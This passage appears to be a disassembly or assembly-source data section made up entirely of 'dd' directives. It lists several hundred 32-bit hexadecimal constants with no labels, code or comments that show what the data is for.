		dd 60372997h, 0A8E1211h, 0EF60D163h, 0DAC13019h, 0CA64820Fh
		dd 0BE12D384h, 56D4EB39h, 0A35CFDB8h, 0EE31F61Fh, 1EFC771Dh
		dd 798E36BEh, 34115F80h, 0E7D2E65h, 6A7878DFh, 838DF86Bh
		dd 45073F4h, 0DC03193Eh, 0ED1E3AA5h, 0F8974D2Ah, 9C735943h
		dd 51BA2722h, 47108709h, 8BA72A7Eh, 0E7A4AC89h,	415BD61Eh
		dd 9B7EA936h, 0DC8CE7ACh, 4E4D8276h, 0CBD9EBC6h, 65D16C3Dh
		dd 80346D78h, 42D7F37Bh, 92734E75h, 0AD7CA7E8h,	0C45D9E12h
		dd 4B35FF29h, 1E8001ECh, 5A9F5AECh, 3423084Ch, 4854ADABh
		dd 2774903Ah, 32BBEA80h, 0C0FA78E4h, 1B2BD8A9h,	2A840C32h
		dd 400B4E4Eh, 0F9C19E6Ah, 75BBD187h, 44AA149Bh,	1D5EAAE2h
		dd 0F5B426A6h, 9A9EB3Eh, 0BA7631A7h, 0FB3B62D1h, 5C3FF822h
		dd 0A15AA49Eh, 0E971AF81h, 998E5219h, 98523B6h,	0DF4B796Ch
		dd 98D1AE60h, 0DAFC1D6Ch, 90D6D2A7h, 696B2D6Ah,	701455D2h
		dd 89795915h, 44B65EE4h, 8524CC38h, 0A755A189h,	0BE13DD14h
		dd 56D46925h, 22CE30A4h, 5D883353h, 7EC09ED4h, 40FBBEBBh
		dd 0C1DFA325h, 426D2E71h, 81856F53h, 0AC0C3FE5h, 0BED406B6h
		dd 63186640h, 960DAA87h, 0D9976CBFh, 0B06B3A64h, 139BC8A1h
		dd 0F1648463h, 43EDF17Eh, 8637F540h, 36CE578Bh,	62FDE7B4h
		dd 0DE9EDF6Ah, 299933DFh, 75BBA840h, 0DBB8EF5Bh, 2BA077F0h
		dd 4F78EB7Dh, 0BCADFA0Eh, 0C67CD2E9h, 0BDDA8A1Eh, 1B0EA63h
		dd 4E862C5Bh, 32241B65h, 63391493h, 0B3A94ACAh,	2E26498Bh
		dd 660E5FC7h, 0C779852Dh, 0F83848B2h, 0ED885389h, 0CBB3E488h
		dd 0EE8D973Bh, 136BD0DDh, 4B87A6D3h, 10B0EF3Dh,	6A8C5DDEh
		dd 7F15AEBDh, 0D46731ECh, 0BA1214BBh, 51598BA5h, 20108CDAh
		dd 75676351h, 0A34147E4h, 0FDF35F7Ah, 627945ACh, 20632716h
		dd 0A65FAD44h, 5A3B3A41h, 1D1B7AACh, 368056C2h,	21C705C9h
		dd 0AA1B442Ch, 850C99B1h, 2A9108A9h, 0BB9FD0FAh, 569BB362h
		dd 0DE9BFAE8h, 8D28B519h, 684B25E7h, 795EDBBCh,	4CD7AC70h
		dd 0BD725232h, 0C48EBE2Ah, 20893FF8h, 49A65E44h, 706EE7CFh
		dd 86E75096h, 0BB6B6CC7h
		dd 505AB59Ah, 13A7EB89h, 0AD9B949Fh, 3E258568h,	4C67F9DDh
		dd 0F930B4CEh, 753C34FEh, 8A411BE9h, 0BFF22BF4h, 608414CDh
		dd 57F12847h, 7D75927Ah, 0A741A51Bh, 0B8BB8184h, 908F7462h
		dd 7812974h, 44354586h,	7BB0FD53h, 0B125E065h, 5A3C3DEh
		dd 4C214D97h, 317EE772h, 0ECA0ACCh, 2BFA6964h, 0A7114B9Ah
		dd 2A407591h, 0AD542E81h, 0AB8EEAB6h, 676BD0ADh, 0C01FBADBh
		dd 0A48D2B59h, 0C6C99AC6h, 8E1ED193h, 0C898B06Bh, 0FAA11F5Eh
		dd 96D2CEB7h, 9E55771Eh, 3C509451h, 0BB807F18h,	0E517A8B2h
		dd 0F97D31ECh, 563603Fh, 248424C7h, 130A0E4Dh, 69D581F3h
		dd 0F370BED2h, 3A1D8DF8h, 8EE821EBh, 6B4F2C76h,	21DAD78Ch
		dd 27DB13E6h, 135C2D8Bh, 1A7316E3h, 0A2C54011h,	97B4EAD8h
		dd 868050BBh, 8456EFF9h, 527D7EFDh, 8105BDA2h, 171601Bh
		dd 5EAD7AB2h, 696ADF02h, 0B08F9046h, 0CC3EA058h, 35D2C5F1h
		dd 23D217CCh, 0CB9A5451h, 0F80EE443h, 6467F906h, 1F9E1F0Ch
		dd 0C47398BBh, 0A64AF7A4h, 0FCBB6A33h, 888C142Dh, 8C73185Bh
		dd 76F79269h, 2FA337F7h, 7F65FF4Dh, 90BFE195h, 0F1358A74h
		dd 44DF97EEh, 0B5626C53h, 0A1E5146Ah, 4C601857h, 0A06C8E90h
		dd 3E01B406h, 0CCE3C12Fh, 0A83C99DBh, 0BC1BFC36h, 0D54C388Ah
		dd 0D3BFD102h, 284A9033h, 0AE822EE5h, 0A1445150h, 8F564FCh
		dd 8E8C11E3h, 0EF5023FDh, 0ECDDFF42h, 790940Fh,	651C010Bh
		dd 6D40B589h, 0BDB494ADh, 8FCAF21h, 988F5789h, 8D8CBAF0h
		dd 8B2EA7EEh, 0D84EAA2Ch, 0B91D6059h, 966B7458h, 0CBF6568Bh
		dd 3A0CE654h, 434ECAEBh, 368286E1h, 43C8DF71h, 3B182CBFh
		dd 56D88DFCh, 0CB6414E0h, 753A6379h, 6B24D9A7h,	91193BFBh
		dd 7BAB6267h, 0FED0E9B4h, 0D8FA43CBh, 0E98E6B53h, 41D97B7Ch
		dd 629AE74Dh, 7D8C4256h, 72906993h, 0AFCAF8F1h,	33A4C3F8h
		dd 8D64DC7Ch, 97B4F16Dh, 2D9817E1h, 0FF169B4Ch,	0DCBC13F6h
		dd 0A18A9819h, 3C2EAE58h, 8A8ED53Fh, 8539FBD0h,	8869937Eh
		dd 8FA749BDh, 0D68A7A4Fh, 0D8061D27h, 0F7386A74h, 442F77EAh
		dd 5EE4CD53h, 3528EF65h, 38609AE5h, 4C230F60h, 0AA095B06h
		dd 330E6EE1h, 0D4901A8Eh, 0AD6BE778h, 0EE077472h, 7FA9EE9h
		dd 0DEB568CCh, 837E2EC4h, 765451CAh, 24B0EF4Ch,	72491EB5h
		dd 0C743AEA9h, 0C367A4E3h, 0F73D4905h, 0F6A675AAh, 93AA825Ah
		dd 0CB2494CCh, 0FF4A02A2h, 0D4DDA91Ch, 0F7DF1527h, 0C436AB71h
		dd 0A300E047h, 0D1224C66h, 1D6D4E52h, 0F86CDEF7h, 36ED87EDh
		dd 280F61FBh, 96164175h, 9CCCD273h, 44CE212h, 0FB05B076h
		dd 2164975Fh, 9AF26B80h, 97DE8F33h, 911F2F51h, 8454BB57h
		dd 37347A1Eh, 79867077h, 5662D6ABh, 0BE09FC96h,	828C316h
		dd 0FF3B47Fh, 0A7B3AA3Ch, 0D9D8B79Dh, 55518F70h, 44E71775h
		dd 2696A185h, 0D1E4098Fh, 4C5E34D0h, 573C1E32h,	2F1E90EDh
		dd 9B1B693Bh, 8A7E5040h, 0DB08E7DBh, 0FC546891h, 33C5EF0Fh
		dd 0E9D1A012h, 0C574FF8Eh, 14B7AFFDh, 4543A97Bh, 0E6DD9D8h
		dd 4ED7158Dh, 30A5DFA8h, 0B7A06E1Eh, 0D1F9B4F9h, 0FB8D6EB2h
		dd 2B07ED5Bh, 54ED090Eh, 0D8007A43h, 4EBF17EDh,	0C150E410h
		dd 1B2E5AA1h, 3B15B947h, 0A0331020h, 1A8C11AAh,	66C651C5h
		dd 2498A0F7h, 0E790945Dh, 955B72D9h, 10ADC994h,	0FF5B932Fh
		dd 0E7ADDFE1h, 9ECD2B66h, 0F28B31E3h, 390B602Bh, 3690C987h
		dd 51C7B84Fh, 9413422Fh, 241938E0h, 7F3A6956h, 0ABFD9B17h
		dd 0A9F4B2A1h, 27D353C9h, 9D77D0FAh, 0E5AF524Eh, 358A86E4h
		dd 997F3F84h, 87B431BAh, 3CC47790h, 7811310Bh, 0BEC3F84Bh
		dd 0C9F9F681h, 899DE751h, 45286FDh, 60742300h, 47954440h
		dd 8839A484h, 4C2D081h,	6614CC3h, 0A6886EF5h, 915C7F0h
		dd 0F8F3867h, 591CA502h, 0AC78656Dh, 0FE5FDB6Ch, 0C91BB65Bh
		dd 81BD7CDDh, 0DE4CFF5Bh, 0F8FD9269h, 1F05BE34h, 0F58A7EBCh
		dd 79EE9E27h, 0F8B03A4Fh, 2DE32EECh, 4E46658Bh,	0B13C3F0Dh
		dd 2850F647h, 88AE8297h, 0C601100Eh, 0CCF0C7A8h, 703AB13Dh
		dd 6C3227E7h, 2AA3AADFh, 9EBF0095h, 0FD197C8Eh,	1B364610h
		dd 0A675BBB7h, 2DE91F29h, 0CD36A661h, 0DF6051E8h, 535D6636h
		dd 1AD5D8C5h, 48598A49h, 6DBEB569h, 8234D197h, 0AE8A4728h
		dd 0EBC7F869h, 0DA54C1E0h, 0DB002E3Eh, 292BDB35h, 0CC5A2BD3h
		dd 44179BFh, 9591BD82h,	0A6A0AE42h, 0AF795E23h,	8A5BF138h
		dd 0E83D5C93h, 2D5E73h,	86CFBE8Ch, 0CE5FB600h, 611A8554h
		dd 1E7EF958h, 22EEFA4Bh, 7BC13ACDh, 0BE112130h,	0D404C382h
		dd 5622DF15h, 7AD1E311h, 0E1777026h, 0F9172059h, 879BA3A1h
		dd 750A49E3h, 83DE04DAh, 947AC34Eh, 77F2AFA1h, 663FAF3h
		dd 0C1764F72h, 6782139Bh, 0B0CA12FAh, 0F732ED2Ah, 0A5BF375Ah
		dd 1D9F028Ah, 0E35A1907h, 17273DB3h, 6C4BAD64h,	253DDD91h
		dd 37A706B6h, 244FF23Dh, 95FFF3ACh, 0F9B6D95h, 4D7D95h
		dd 74699397h, 2A05CE8Bh, 680012C7h, 0C670EBADh,	9268D952h
		dd 3D46CF02h, 1819FF5Dh, 203D0163h, 56FA8130h, 0C335FE15h
		dd 6FADA4D2h, 0DF43F3E1h, 4F15C7DBh, 0B9C7AB14h, 3F5C6C1Ah
		dd 45DC5B0h, 2F57AAA8h,	19C368F8h, 154149F5h, 0DE7BB719h
		dd 9A09C909h, 966F225h,	0C93471BDh, 0DDF6FED1h,	3048853Ch
		dd 9F72AC01h, 0D4F89DF4h, 0FB9EE098h, 0EA49344Ah, 652A04h
		dd 1870CD4Dh, 0A9024573h, 0D632A8C8h, 3CC9D551h, 958A26A4h
		dd 0F5E4CFFBh, 0D544C1F5h, 4620742Ch, 8D72E4D5h, 8C8D8861h
		dd 8B50AD76h, 607B4ED2h, 75C97AC5h, 0F8742687h,	0E703E409h
		dd 8EA97C05h, 80BA7EE4h, 0DD190BBDh, 719BB566h,	0CC12168Ch
		dd 0B2301A1Ch, 0BA2365A1h, 0B2999B7Bh, 0AD2BF6B0h, 727C6F1Eh
		dd 28011A3Eh, 7B4AAEh, 0B2EAF5F2h, 96CCB7E1h, 0F4F903A0h
		dd 0AE18A6Dh, 9D30CB42h, 8D35D763h, 0D7F9A791h,	0BB759897h
		dd 562C9943h, 7AFE1347h, 358F8E1Ch, 0A608C9AEh,	0A621A332h
		dd 0C7F77000h, 0BB2D2433h, 0FE2B78C0h, 43C57FE2h, 85B0825Ch
		dd 0E2CF1587h, 4A141C18h, 5C97F95Fh, 3BD45713h,	0C81C6729h
		dd 11264B4Ch, 66E5DAEBh, 13E1DECAh, 5E59BE23h, 2F89C13Eh
		dd 2320A811h, 613CDCCEh, 54497CC4h, 0C80E0E10h,	1E52DCA3h
		dd 6FF72188h, 0D2819CEFh, 0F055CC05h, 0DCDBAFD8h, 0B42ADEFEh
		dd 0F0EDAFCCh, 0C725DEC8h, 8273041Bh, 0AB63D81Fh, 0B714A53Bh
		dd 85CB90AFh, 882DDDDh,	43B28D97h, 8FA825h, 0BB09A696h
		dd 1F224435h, 0F088A9E3h, 0D766B378h, 7923DD3Eh, 29DAB280h
		dd 9ABA2D0Ah, 1C839CCFh, 8A01E7A2h, 569EAA7Ah, 9F2F5A7h
		dd 73036879h, 49528D08h, 0F3391CD8h, 4B78EFCCh,	739AF4E0h
		dd 7F3D3F8Bh, 26E90955h, 40B0826Dh, 5BD78FF8h, 2AA3BB3Dh
		dd 90109AAAh, 0A60A48Bh, 80B6EB5Fh, 9B241079h, 0E2A16AEDh
		dd 6AF31F92h, 0D1F98540h, 264D4705h, 0FF8BF716h, 8FBF5738h
		dd 0AB2FF08Bh, 0E73DA649h, 0CB4FE9E3h, 8AF16CB3h, 98BA8CA7h
		dd 7FE4E614h, 0BB944A10h, 6A5EA725h, 74EFE009h,	6DDC3E87h
		dd 15E0E4E6h, 0B7ADCD17h, 0BC8C2221h, 1B794436h, 46891B42h
		dd 35C0245Ah, 3D8B7D72h, 203F4539h, 64339967h, 0BADC5539h
		dd 0CE2D3DDh, 5BBDDD38h, 8FD4BE7Ah, 61B742CBh, 2B388E00h
		dd 78C1A22Ch, 3A99D2FCh, 42D9C87Ch, 9526FEAAh, 4C6061A1h
		dd 4C72C9B8h, 0E5C8B223h, 0F81C4E8Ch, 40C38EF4h, 5B7A30F6h
		dd 0C71CCC1Eh, 37B9570h
		dd 3A3F8C4Ch, 0CA615EC8h, 54BB842Dh, 0BFA161DAh, 5833F18Fh
		dd 0B1C4B327h, 0A1E76C8Dh, 31BAA626h, 0C80D1364h, 0EC23A89Dh
		dd 574EFC5h, 6424C170h,	6B5DF264h, 52D1BE3Bh, 1997E92Ah
		dd 41775D6Bh, 683229B7h, 0D1E3B0DBh, 623473ECh,	0C73DA2DDh
		dd 6A005E9Eh, 717CE741h, 0C863E457h, 35940DBEh,	0BA6E8E67h
		dd 3D13C29Bh, 0D3F1807Ch, 0BB15B5FCh, 0F5DD9C4h, 0BAB8B9D1h
		dd 0E03F9F5Dh, 43383583h, 4EFF519Eh, 1C0556h, 775E449Eh
		dd 77D2FD2Dh, 0C3844164h, 6F4B63Dh, 31089C1Bh, 0EAE75BD4h
		dd 0BF9E829Eh, 0A72FB3FBh, 6E060A9h, 0F3ACDF02h, 707E8B44h
		dd 0E66149C9h, 0ADC356C0h, 1DE339C8h, 0D20A58FCh, 6008187Dh
		dd 0EE5B4E0Dh, 22BB970Ah, 3D8CEA56h, 7E2F4AD8h,	1FC7D8D8h
		dd 0F4C681FFh, 8C11DD5Ch, 9BD1963Ch, 0A39F6A6h,	0F8877EE8h
		dd 41DA6C73h, 6995376Ch, 544B9C88h, 3C117168h, 37ECB984h
		dd 11355944h, 0D735E2A4h, 14E55824h, 367ED28h, 4721C837h
		dd 2A7DEFD7h, 0BF4E40F2h, 2D3C2E3Fh, 0CC0C6BF0h, 0A20F1FC0h
		dd 0F538E72Ah, 478F71Eh, 0A2B98B31h, 0E2C75BEFh, 14498706h
		dd 6DAAD814h, 0FDA48A54h, 0DC075765h, 0D111F854h, 78C39A7Ch
		dd 32AA6C06h, 80F3C34Eh, 8262CDE4h, 51F38C8Fh, 58C0491Dh
		dd 0B2035669h, 0A646E177h, 110F1A2Bh, 0AD4880E1h, 90B42457h
		dd 0AD078EA3h, 0DCD54A54h, 0B4B06212h, 72D5509Ah, 88D206F0h
		dd 6CDE1645h, 3C4D3EE0h, 68C14443h, 247FA7A4h, 0A5A19B7h
		dd 86991B62h, 53C8242Ah, 8420DC78h, 65CFD53Bh, 0FE85E6h
		dd 0ABF991BFh, 831A4928h, 3ADB2472h, 6F3AE300h,	49BC88FAh
		dd 0A2384765h, 0B4489074h, 75328352h, 0F28A14D8h, 76126172h
		dd 8D2C55E9h, 66B14132h, 0A3EB7D6h, 5B027694h, 854EB6B8h
		dd 0EDE58532h, 650F7137h, 94F643F1h, 27799B00h,	8BAE6D1Dh
		dd 1376E69h, 6612CF07h,	8B9FA906h, 97B14AF9h, 719437D0h
		dd 0BB962176h, 1D8197EDh, 24AF4A8Ch, 0E7AFB219h, 679A77A7h
		dd 0C3DEE5F7h, 0C8BD7EC9h, 5C866A6Ch, 63D3E915h, 6E67B56Dh
		dd 3D13A195h, 7275E865h, 3FE9170Eh, 4469D91Dh, 68090760h
		dd 2146601h, 905FA83h, 0C82F4569h, 4B265670h, 0AD9465EEh
		dd 0A4C9118Ch, 1375CCCFh, 8BF178E6h, 1FBD8B5Ch,	0FFC04EE4h
		dd 2F15685Dh, 0A4D25539h, 2790C67Bh, 0CB2D8255h, 1120006Dh
		dd 0B52D2B1Fh, 0E3B90471h, 1443DA07h, 619D11FBh, 0ACCB8BB6h
		dd 39C471A5h, 40BD7C4Ch, 0E9CCA976h, 0BE41DEE7h, 13B46EBCh
		dd 131CABC5h, 0DF8ACC9Eh, 7B68AC87h, 0C8A0CE3Dh, 1AAB4989h
		dd 0D3DECA8Bh, 7F954FD6h, 0D1EED9D8h, 62712E33h, 0C01335Dh
		dd 0FA1A41D5h, 917628BAh, 3F962E52h, 0C2C47315h, 9F752841h
		dd 0B0F81340h, 2C745941h, 946A5A90h, 7B39310Bh,	0CC66E8CFh
		dd 95A0DC9Ah, 8B77AC0Ch, 4C16BAC2h, 0A9B8640Bh,	0A85FDBD7h
		dd 0D823B52Ch, 6F06915h, 0C2E3E794h, 0E5C36510h, 864F35Bh
		dd 0BFADF669h, 9834BA2Fh, 6B0E08FAh, 0CF25F228h, 90ED0407h
		dd 0F5EA2A49h, 936AD006h, 295E929Fh, 79B64A12h,	7AD518BAh
		dd 19C285ACh, 0BA378368h, 394FC94Dh, 437245E6h,	207C3549h
		dd 982B0104h, 9BC4B9A2h, 74F434CBh, 0FA9F22A7h,	0C0EB1380h
		dd 2F9B0E9Ch, 7F5E521Fh, 84E6E375h, 0A29F724Dh,	0F64C4440h
		dd 8D415BC7h, 0F2A8EBADh, 67AD01EDh, 8371A84Eh,	635B7446h
		dd 942C69EDh, 34160E45h, 0D5019568h, 0B6114165h, 50ED7E5Fh
		dd 3F135577h, 1622085h,	22D40BEEh, 255AFD88h, 270F3D14h
		dd 65DF7FD7h, 0BF096657h, 3D18ED52h, 8D3D32D0h,	0BFA2C50Eh
		dd 765EBBF5h, 0F871AD8h, 443AFECh, 7C277130h, 3A18D4C3h
		dd 0B4FD3E34h, 846A1218h, 5010D3Fh, 0D06493E0h,	0ABB5C5BAh
		dd 654056h, 5A14B03h, 0E5B6BFC5h, 75A13429h, 0D4BAE4C3h
		dd 6CF454AAh, 0FE8CBF1Dh, 78E26D92h, 42F6BA29h,	8B1D713Bh
		dd 7D8AE975h, 8027E072h, 3C618C71h, 916F724Ah, 7695BC71h
		dd 0D5D586D5h, 880B9AE8h, 55A84A46h, 7AF40A33h,	29C2056Ch
		dd 277A80E3h, 68850A1Ah, 0DA388B1Dh, 23D054CDh,	56F39D6Bh
		dd 1EF0FCFCh, 88E4A9BAh, 7744C9D7h, 0E3541119h,	38D247B9h
		dd 4790E735h, 6EE6E019h, 2400D338h, 6175BFDDh, 0BF8A4C67h
		dd 0AD024C9h, 33F9945Ch, 19B90809h, 5A18E0B3h, 0E68A3188h
		dd 9CBA916Fh, 7FC254F4h, 107E4DE3h, 76C42AE4h, 0A29496BDh
		dd 26747DA4h, 0CC61ADDAh, 3BD15589h, 0A7799D04h, 0ABFF5DDh
		dd 9C16AE93h, 6A4D18B4h, 0F810AEABh, 0FE9BFAAFh, 0F42BCB3Ah
		dd 7D13156h, 558941F5h,	6B599AA2h, 2084AB34h, 0C8FD3259h
		dd 81FD58A2h, 0E70E009h, 5CC3A803h, 90E554A6h, 7B1A6FF7h
		dd 990B5520h, 9C9D6DB7h, 3A8FA489h, 19116307h, 2D6069E5h
		dd 0A7E6E99Ah, 79D4E25Fh, 1A7ECB65h, 0F96DFA42h, 334D7263h
		dd 557C817Ah, 0B4A450E0h, 772C901Ah, 6E88FE75h,	0A6619DDFh
		dd 32216BDAh, 0A342E016h, 7BFB07C3h, 19538F2Ch,	0C98FCA4Eh
		dd 256877D5h, 409184DDh, 0FBBC89E6h, 123EC409h,	40555574h
		dd 0A43E89EFh, 2D82C1B8h, 0D4055A19h, 0AC14A8D9h, 2DAB4937h
		dd 11C6C5Fh, 0B4330C8Eh, 0B32E7DFDh, 2E7E4A18h,	0E4DCEDE5h
		dd 8C1CCFD3h, 6032E733h, 4E6C6199h, 0F1877C63h,	0A028C0A9h
		dd 8304905Fh, 1C7F8DEEh, 0B6C7C0FDh, 8B06F5Ah, 15597C72h
		dd 0D36B1D71h, 0ED173636h, 1EF3C440h, 0F2F29D50h, 0C5D12B1Dh
		dd 332329D7h, 0C3717A4h, 0FBC0DC7Dh, 9D4AD852h,	16CB2EBh
		dd 51956B24h, 0E97AFEAFh, 6584AA20h, 9E64747Bh,	6C375E8Ch
		dd 1BAF843Fh, 39BF77F4h, 71F509BFh, 7E8CC86Fh, 0C00E1DF0h
		dd 0EF34ECA1h, 1EEADD13h, 571799A0h, 2C6C5160h,	993CEF0Eh
		dd 243BF86Ah, 0EC93F342h, 0AABE8CA3h, 70C6161h,	4449AFFCh
		dd 0A6EE623Bh, 0FBD2CFABh, 0B174CBEDh, 426D87DDh, 88AE2D1Eh
		dd 0AA2A9D43h, 42690F3Ah, 0D2DA0F34h, 25D608ACh, 484DDB77h
		dd 8EA564B1h, 0EEB545CAh, 1220A87Bh, 8D5B5A7Bh,	5935BAADh
		dd 0D5BDD453h, 0E205529Ah, 891E810Ch, 4BD5BFEBh, 52D286C2h
		dd 3F05CDE0h, 6E353E2Dh, 67CBBE7Bh, 4D5A5086h, 86C9AB4Bh
		dd 0A5062F4Bh, 0E7CDC8Dh, 0A1D4B24Dh, 772BD0A1h, 52844998h
		dd 762DD0ACh, 41C76820h, 3856CC3Ah, 0BA85873Bh,	14F0481Ah
		dd 0E53F1499h, 887DD34Dh, 67A445CDh, 0DED2EED9h, 0F2D5A61Bh
		dd 4FBC5A18h, 0BF039C56h, 794FEA82h, 8B7C8FEFh,	4EDD2B6h
		dd 6B75D1D5h, 0A086B137h, 202E5440h, 7370C06h, 9579470Ah
		dd 61EFB589h, 5961414Fh, 3A31B473h, 7F9603F4h, 0B6B8670Ch
		dd 307E5E85h, 0FB5A7E3Ch, 8F449DFFh, 8253F0CEh,	0E2E91B57h
		dd 0A403B30Fh, 0A9B3F6DAh, 0E8C5473h, 4959C870h, 4ACC7A5Fh
		dd 0FAE77C51h, 508118BDh, 0B5A5043Dh, 7648A84Dh, 27DB718Dh
		dd 3D7A16C0h, 2E64FA74h, 2F4741C6h, 5E9BF27Ah, 3FECDB8Dh
		dd 22472136h, 0C9E5D53Ch, 0A05AEB70h, 0BD3EAF7Fh, 19CDAD6Ah
		dd 781D5A9Dh, 9012701Dh, 6F5D6CCAh, 114685Eh, 0DFD69471h
		dd 0C164FEBFh, 14809DA5h, 0C2423D7h, 147842D6h,	432CE3FDh
		dd 0EC004EDAh, 3ADFC5F9h, 736A9557h, 855F2199h,	41149262h
		dd 6C33C180h, 7264586Bh, 0D1C8DB07h, 775351FDh,	0E9636D8Dh
		dd 0DFF7521Dh, 10324BC9h, 74DDB18h, 0F08F2787h,	7CFE4E35h
		dd 561849C8h, 7E05CA85h, 65C2AFh, 895BEAF0h, 62494BD3h
		dd 0CD8FB872h, 3F0E9284h
		dd 65C75C3Fh, 0E524CBC1h, 0D8BF2A61h, 441D14FDh, 93AF7846h
		dd 4E1C4B9Ah, 417868F5h, 0EB23DD0Ch, 0A4358E42h, 360D30E4h
		dd 0D931158Eh, 1C3D0777h, 0F07FA68Ch, 0A9347A01h, 0DC693C1h
		dd 32D02967h, 0F7C0DE77h, 6B47782Ah, 360D1261h,	0AB79458Eh
		dd 869AAEFCh, 48B2A5DCh, 2BFE03CCh, 0BEB48D63h,	2B42F7AAh
		dd 375A931Ah, 2A3A987Ch, 8F0E12A8h, 0E96987E6h,	0DE7380F5h
		dd 0B4818BA4h, 0B6339126h, 84F2B791h, 891F4C99h, 8A129043h
		dd 13590E8Eh, 4D4FB640h, 67FDFE93h, 2E6A4FCAh, 0D8CA28F5h
		dd 0D0E24CA5h, 6721AD6Eh, 1340D1A0h, 3C827688h,	0E43585EAh
		dd 0EE8D8D91h, 7D343A47h, 9E56FB71h, 22CDE2ADh,	0E97CD0F8h
		dd 88511039h, 7739652Eh, 30EA44Bh, 33FDF140h, 5812AFB1h
		dd 0F91FF778h, 0FAB40664h, 74F996ABh, 0E3C26A2Ah, 5A6FDA50h
		dd 61D863F0h, 179B99D1h, 377D275Ch, 0FA660B7Eh,	0E921DE48h
		dd 7FB666FBh, 8E347FCDh, 0BB3C3EE6h, 0F91FBF16h, 1F8F8A32h
		dd 45E65BF6h, 382D9087h, 0E61A6252h, 0CC74D68Bh, 526ACB29h
		dd 13398513h, 0D02BF2Fh, 0A5DF221Bh, 2228A53Ah,	0AFAFB1E7h
		dd 1865A66Ch, 48E6BF64h, 0BA14E4AEh, 5C90DDB9h,	7BB8680Fh
		dd 8EC27EE1h, 0EAE9067Bh, 2ADA059Fh, 3A8649B9h,	6C21F2F8h
		dd 9C49C099h, 67EBE2C9h, 90D52C23h, 17FCED93h, 0DEDC04BEh
		dd 98385554h, 2888570Eh, 0DC56F813h, 0CF37E284h, 95A89DF0h
		dd 4F491FCDh, 0EB2046A0h, 93812DDEh, 1D6ED198h,	0F0BC20A2h
		dd 7F736FB5h, 888D571Dh, 408FFE49h, 6B7397C8h, 0A074A961h
		dd 0A0B85A68h, 6D166237h, 0E9FFC574h, 10386619h, 18590DAFh
		dd 0CEB7BDC5h, 0ED12C66Ch, 1D7E3785h, 82BD28A2h, 4F927EFCh
		dd 9A89C4B3h, 37240E0Eh, 87D09C7Eh, 2E4C5F20h, 9778A7B1h
		dd 77B8AC48h, 4B50A70Ah, 4867165Eh, 47B7E3BDh, 0E1DA8B69h
		dd 4BA0CE7Dh, 334804AAh, 0A842DA12h, 330B60B3h,	0CC30D5B2h
		dd 0CC27AB36h, 0D21295ACh, 389CD32Fh, 7B8E20DAh, 0F7F4728Ah
		dd 0C3F69902h, 2E792B17h, 264E41B5h, 993BCDA8h,	0C74FB0DFh
		dd 93389D63h, 961284E3h, 5B751D55h, 0AE9C82E1h,	0F4BFDBCDh
		dd 61F89AF4h, 0AAB5496Fh, 0BBC2952Ch, 87185024h, 4AA6D623h
		dd 8D9E6C07h, 0FD08D4C7h, 0ABA0374Fh, 5FB56DF9h, 20535E4Fh
		dd 0C47D9C8Fh, 2CC553EAh, 90144614h, 8DEE73F4h,	43178BFh
		dd 7B643C45h, 4656F4E1h, 0FB2ECB1Fh, 66D65859h,	10E191F6h
		dd 2CD5EB70h, 0E1AEF165h, 0BB8A27C6h, 69180E28h, 0DF6952D5h
		dd 0A687AAFAh, 375B5AC6h, 0B9B48AECh, 797B846Dh, 0DAB650DBh
		dd 80F4F105h, 2C108B04h, 0F10DFFF4h, 12D8F5A9h,	0BEBD5D4Ah
		dd 5FAA89AEh, 0B2A2099Bh, 0AEEB3171h, 170DE8C0h, 94292C8Eh
		dd 3613AF1Dh, 127E7CE3h, 1CFB9267h, 17A3EEC7h, 602B72A2h
		dd 84CFB1C8h, 0B2FDA8A7h, 2A05E67Bh, 763894CBh,	8D103828h
		dd 0D94354B0h, 0AED4AEE7h, 8CB0D83Bh, 3B610ECCh, 7C92C455h
		dd 5914FCA8h, 0DF5BBEE1h, 4D26E988h, 0B78E5EB4h, 7080058Bh
		dd 4AF8373Fh, 5C74F379h, 51B65098h, 9BC9D614h, 0A896FE97h
		dd 972789FBh, 3F1FEA0h,	40FE3C34h, 6DECEA7Bh, 0DF59B6F0h
		dd 0EE4CA056h, 133DF025h, 0DFD2B451h, 0FCB2D76Eh, 10AB1095h
		dd 633995A5h, 1B1339EDh, 429DF438h, 0E24F9785h,	36C1B212h
		dd 988DE62Eh, 0E09FE5D3h, 0CFFC8321h, 0A92E3CCBh, 0E1D6A96h
		dd 5864995Ch, 58EB25E2h, 89F35E28h, 6201DA96h, 0DCE714FAh
		dd 32D70601h, 0B1D0565Dh, 0C38C4CFBh, 0A50675D5h, 932B25FFh
		dd 0A2BC7B39h, 3BA4A6B2h, 385F3F64h, 49FEACE3h,	68029B4Fh
		dd 35C2E197h, 83E4C1FDh, 947719B5h, 6B57A144h, 3FB8D366h
		dd 699D0B4Bh, 3CFBFA2Bh, 0A253C85Bh, 0CF28DF9Ch, 0E75097E1h
		dd 0BB9C6876h, 0A222D8D4h, 60315FE1h, 0ECF42762h, 64B070C1h
		dd 60D4A72Dh, 788FADD4h, 0A70EA6C3h, 9F7B4C49h,	0AD4B7009h
		dd 75566958h, 0CBA25FB3h, 6D732C91h, 2D256776h,	76F9C07Ch
		dd 0D64E7685h, 1F7FA946h, 2BCEF84Ah, 642B7E87h,	0CDBBED2Fh
		dd 6422BFBAh, 43B31F6Eh, 0D6BF50BCh, 7E7137FFh,	0F0311A20h
		dd 0CD2C4586h, 0F2C4A5C4h, 5CD42D98h, 0DF0EC64Ch, 73592F1h
		dd 0AA0954BDh, 0C8636FA0h, 0A69D8072h, 0A62DB8D6h, 0E7C21AD7h
		dd 9C975E54h, 0EE95706Fh, 3056F422h, 1E821323h,	185910F3h
		dd 89171BA6h, 0FBF6EDC6h, 0DFAED1D2h, 0F2AE6735h, 0A1F9210Dh
		dd 66B31641h, 0BC3FF1D7h, 3AF3411Fh, 28A3F665h,	9E250A39h
		dd 0F21EF2Fh, 9401F3FBh, 595F63FEh, 509CC152h, 26766382h
		dd 0A2F8FB7Bh, 201D04Ah, 0E304F456h, 49C6D922h,	0BDE7C876h
		dd 231B42C6h, 0C3147C85h, 2383B4FFh, 0E78BD801h, 0B5E50A20h
		dd 0A208219Ch, 0A3F7923Bh, 75699C2Fh, 0F109AB1Ch, 13C0BEE2h
		dd 7E22C8ABh, 663044D5h, 93A2CEA9h, 0FA2A8B39h,	0EBD1DACCh
		dd 6DD627E6h, 1FD12B0Ah, 0D4942DAEh, 0DBACE7DDh, 0D498757Eh
		dd 0BA57204Ch, 7675E8D2h, 719DC048h, 0E0BC80B0h, 6A24BAEAh
